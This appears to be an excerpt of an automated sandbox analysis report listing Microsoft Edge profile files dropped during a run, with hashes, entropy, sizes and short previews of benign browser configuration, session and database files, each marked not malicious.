C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0a988a2e-f968-4e77-84f3-b2af18045b04.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\50295987-ffe8-4b9d-a084-c43bf77160f6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.308335766461805
Encrypted:	false
SSDEEP:	24:YcCp/WwC5mWwFGJ/I3RdsnyZVMdmRdsJZFRudFGRRdsXpZ6ma3yeesw6maPsw6Ci:YcCpfC0gCzsmts/fcKsPleeBkBKYhbw
MD5:	49C6F646A3AFA756839FB0F39447D88E
SHA1:	D0D3937F0833F43977209422D92CAB523D679295
SHA-256:	07533C6770AB3191419FA8825CBB6FCFDA10466F8E592121C8D43E36ED711C94
SHA-512:	70B04E26ACAB7CD9F795A5E34CB3593F905835D589D083A044EB37C5B1531918BDAC27CD68839ADFC075FD521BEC41ADDCA39EEDC013B55ED7297DE9F3F6B492
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382005203770016","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382005211187759","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.114128226314978
Encrypted:	false
SSDEEP:	48:TFkIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBNp:JkIEumQv8m1ccnvS6uza5cI9vPNO1a
MD5:	742E5081D07C7BF187D58210465FF011
SHA1:	1800519E97D3AA8B9D17DC218BEAD2E0560CE05F
SHA-256:	8E107C367C1B35FA199EA4E09287FB144DEBE8B0D896336EFD25A32330FDD385
SHA-512:	28837B6852C0D6F7ABE08F9DAEF34FB8AB961BE7D2CE295A2A52DB147347CA57C001A8E2C99271379893B7B0CD342ADE085ED38BA614A866DFDFEA15915693D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF26150.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF27da2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a7fca00e-4266-4308-ad35-4f2106b21bf0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b0cf2ab5-1c67-4b24-8927-ee7a10409f00.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ed95951f-e2ca-4db0-9a03-2a2ddcee79c6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.308335766461805
Encrypted:	false
SSDEEP:	24:YcCp/WwC5mWwFGJ/I3RdsnyZVMdmRdsJZFRudFGRRdsXpZ6ma3yeesw6maPsw6Ci:YcCpfC0gCzsmts/fcKsPleeBkBKYhbw
MD5:	49C6F646A3AFA756839FB0F39447D88E
SHA1:	D0D3937F0833F43977209422D92CAB523D679295
SHA-256:	07533C6770AB3191419FA8825CBB6FCFDA10466F8E592121C8D43E36ED711C94
SHA-512:	70B04E26ACAB7CD9F795A5E34CB3593F905835D589D083A044EB37C5B1531918BDAC27CD68839ADFC075FD521BEC41ADDCA39EEDC013B55ED7297DE9F3F6B492
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382005203770016","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382005211187759","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8307038620100359
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAz7Nm2z8ZI7J5fc:T+OUzDbg3eAzA2ztc
MD5:	B18967139991D9CA13DF7E493540A358
SHA1:	97411C14A8503C11248BE7404C9A79BA5146D40C
SHA-256:	CCC36F21951B4CB357C57DA0CCA1FFF3B4C7027230C10FD8BCB72C0AFF66141F
SHA-512:	473AE1B215B181785EA65F87E34155D5976C7AD1FA487B025E1C8711BFD127E99066990105CDA8D6F4804459118361217455AB1644803D22E6ECB164EEEFD630
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9220
Entropy (8bit):	5.077810642838238
Encrypted:	false
SSDEEP:	192:stFCkdpsZbIJZVk9sS3oC88bV+FiAfn9H+PQYJ:stQCsZbiZO3bGiOS
MD5:	5F4267F7835DB6078EB9383C57E3A3BA
SHA1:	BCAB47BFA29F10540F361CFFCB52ABFFA29FDD01
SHA-256:	3A4EC9D1E6C0971297D2B86E2545D49A2810DD4CBDB5B0EA0BEF1F5B5B6526E4
SHA-512:	4E281875D7DF64917F5E18483AF97742566B754F266C918D7092FBE0D188DE92079C2792B7E135BFBBBCCAECF62D23E205126D95572441371B3DE66DBD1E4F14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2b2eb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9220
Entropy (8bit):	5.077810642838238
Encrypted:	false
SSDEEP:	192:stFCkdpsZbIJZVk9sS3oC88bV+FiAfn9H+PQYJ:stQCsZbiZO3bGiOS
MD5:	5F4267F7835DB6078EB9383C57E3A3BA
SHA1:	BCAB47BFA29F10540F361CFFCB52ABFFA29FDD01
SHA-256:	3A4EC9D1E6C0971297D2B86E2545D49A2810DD4CBDB5B0EA0BEF1F5B5B6526E4
SHA-512:	4E281875D7DF64917F5E18483AF97742566B754F266C918D7092FBE0D188DE92079C2792B7E135BFBBBCCAECF62D23E205126D95572441371B3DE66DBD1E4F14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2e46a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9220
Entropy (8bit):	5.077810642838238
Encrypted:	false
SSDEEP:	192:stFCkdpsZbIJZVk9sS3oC88bV+FiAfn9H+PQYJ:stQCsZbiZO3bGiOS
MD5:	5F4267F7835DB6078EB9383C57E3A3BA
SHA1:	BCAB47BFA29F10540F361CFFCB52ABFFA29FDD01
SHA-256:	3A4EC9D1E6C0971297D2B86E2545D49A2810DD4CBDB5B0EA0BEF1F5B5B6526E4
SHA-512:	4E281875D7DF64917F5E18483AF97742566B754F266C918D7092FBE0D188DE92079C2792B7E135BFBBBCCAECF62D23E205126D95572441371B3DE66DBD1E4F14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3592d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9220
Entropy (8bit):	5.077810642838238
Encrypted:	false
SSDEEP:	192:stFCkdpsZbIJZVk9sS3oC88bV+FiAfn9H+PQYJ:stQCsZbiZO3bGiOS
MD5:	5F4267F7835DB6078EB9383C57E3A3BA
SHA1:	BCAB47BFA29F10540F361CFFCB52ABFFA29FDD01
SHA-256:	3A4EC9D1E6C0971297D2B86E2545D49A2810DD4CBDB5B0EA0BEF1F5B5B6526E4
SHA-512:	4E281875D7DF64917F5E18483AF97742566B754F266C918D7092FBE0D188DE92079C2792B7E135BFBBBCCAECF62D23E205126D95572441371B3DE66DBD1E4F14
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13379413200171462","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565153664369704
Encrypted:	false
SSDEEP:	768:h9tOm9WP0qffny8F1+UoAYDCx9Tuqh0VfUC9xbog/OVpYQxGrwJpttuLa:h9tOm9WP0qffnyu1jagvxDttp
MD5:	F1CC119F1D79C4C7786789EC1A10533A
SHA1:	11B8D5FE234730FF64285FD98A7B4FF0C1A96103
SHA-256:	637E26D45604446DC64BBA6D6709297C7EBD9D90113CEFC98FC4E4D1F4836CEE
SHA-512:	4ED2C8ED6569EBF0BA2BD47E1AE8DD15C455B9B1F75BF872E79FC03B350A42677E652ADC289F3C66943FCD48BE2AEEB7940C32CCED1BDE7CE8C59917BA287364
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379413199515531","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379413199515531","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF29eb7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565153664369704
Encrypted:	false
SSDEEP:	768:h9tOm9WP0qffny8F1+UoAYDCx9Tuqh0VfUC9xbog/OVpYQxGrwJpttuLa:h9tOm9WP0qffnyu1jagvxDttp
MD5:	F1CC119F1D79C4C7786789EC1A10533A
SHA1:	11B8D5FE234730FF64285FD98A7B4FF0C1A96103
SHA-256:	637E26D45604446DC64BBA6D6709297C7EBD9D90113CEFC98FC4E4D1F4836CEE
SHA-512:	4ED2C8ED6569EBF0BA2BD47E1AE8DD15C455B9B1F75BF872E79FC03B350A42677E652ADC289F3C66943FCD48BE2AEEB7940C32CCED1BDE7CE8C59917BA287364
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13379413199515531","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13379413199515531","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	213
Entropy (8bit):	2.7541301583060975
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljljljljljljljljl:S85aEFljljljljljljljljl
MD5:	046CC08D163FC4578CD1B77A5D0965AC
SHA1:	92F503E605C30974BAF385F1619F1269B81DEC57
SHA-256:	693A60684AA9FF4F01CB6027E9C938F4701C0C898AFC224A0776CB1E18E87166
SHA-512:	E8B1DF36A237BCBBAD897146CA247EDF75466B2A4030FEC620C46932B5C31137F2931CD2758534E4308AED3FB9CC40EDF2D7646A38530BCC5E6D7069C19A3B1F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.086532967255421
Encrypted:	false
SSDEEP:	6:EYC3+q2PqLTwi23oH+TcwtrQMxIFUt8FWe5Zmw+FGLVkwOqLTwi23oH+TcwtrQMT:E6v8wZYebCFUt8FWe5/+FGR5TwZYebtJ
MD5:	F616DA7089849A0D09C8380BBD27CA3E
SHA1:	3295C8124005F4A78246D2DE455D7AB190C5D371
SHA-256:	C4CF3CD6D0FF9F0D0A01D83B4271FA7C05F78C31B68CE1BF18E329F0BA32480E
SHA-512:	73D30E29900E4BDC75C04B5A18908EA8113943BD8F9BA0C9E26C2CC73996DE3CAC5A5F5C59340F9DCE652261ED840ADF705FEBE2AF71609F54528801E67C8B5F
Malicious:	false
Preview:	2024/12/23-02:40:00.476 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/23-02:40:00.478 14d8 Recovering log #3.2024/12/23-02:40:00.480 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.086532967255421
Encrypted:	false
SSDEEP:	6:EYC3+q2PqLTwi23oH+TcwtrQMxIFUt8FWe5Zmw+FGLVkwOqLTwi23oH+TcwtrQMT:E6v8wZYebCFUt8FWe5/+FGR5TwZYebtJ
MD5:	F616DA7089849A0D09C8380BBD27CA3E
SHA1:	3295C8124005F4A78246D2DE455D7AB190C5D371
SHA-256:	C4CF3CD6D0FF9F0D0A01D83B4271FA7C05F78C31B68CE1BF18E329F0BA32480E
SHA-512:	73D30E29900E4BDC75C04B5A18908EA8113943BD8F9BA0C9E26C2CC73996DE3CAC5A5F5C59340F9DCE652261ED840ADF705FEBE2AF71609F54528801E67C8B5F
Malicious:	false
Preview:	2024/12/23-02:40:00.476 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/12/23-02:40:00.478 14d8 Recovering log #3.2024/12/23-02:40:00.480 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13379413202017185

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1271
Entropy (8bit):	3.662248448748121
Encrypted:	false
SSDEEP:	12:3msiVrsCVIolMhZiitTBuEzro3MnKtLKKuPbcogp9q+yiEoYIfBuEzFjI3Zpl:3mp3WrhXJ4ok3R/pogp5qo34oFk
MD5:	364D6E779EF60AAD0E4181AF60EC9158
SHA1:	808AC13B90B20C8D3A527A5B2E7619B1CEE7D0A8
SHA-256:	7872D4F9DBD9565A8F022AC4F23C83F446065B470CAA5223C029286B999749A0
SHA-512:	D79C5CB6B134D5E28DE62EB68336A411D75144FCC57ED96C0217AF2EBCF620FA0F240739A295687E7ABD304F9E06E413F15D692E31FE5CE225B830D4493F35C3
Malicious:	false
Preview:	SNSS.........^m.............^m......"..^m.............^m.........^m.........^m.........^m....!....^m.................................^m..^m1..,.....^m$...20662bbc_0049_4c02_9722_a7b1e60772b6.....^m.........^m.................^m.....^m.........................^m.........................^m....q..l.....^m....3...file:///C:/Users/user/AppData/Roaming/New_2025.webp.............!............................................................................................................).......)..8.......P...............H.......................................................n...3...f.i.l.e.:./././.C.:./.U.s.e.r.s./.t.i.n.a./.A.p.p.D.a.t.a./.R.o.a.m.i.n.g./.N.e.w._.2.0.2.5...w.e.b.p...................................8.......0.......8....................................................................... .......................................................P...$...e.3.4.3.b.a.b.7.-.0.8.c.1.-.4.9.2.3.-.b.0.8.d.-.6.2.d.a.5.8.0.9.f.3.a.8.................P...$...1.3.d.9.f.6.0.8.-.b.a.d.8.-.4.5.c

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.166904140136769
Encrypted:	false
SSDEEP:	6:ARhF34q2PqLTwi23oH+Tcwt7Uh2ghZIFUt8fRjrJZmw+fRkFkwOqLTwi23oH+Tcz:YhOv8wZYebIhHh2FUt8ZjrJ/+Zi5TwZ0
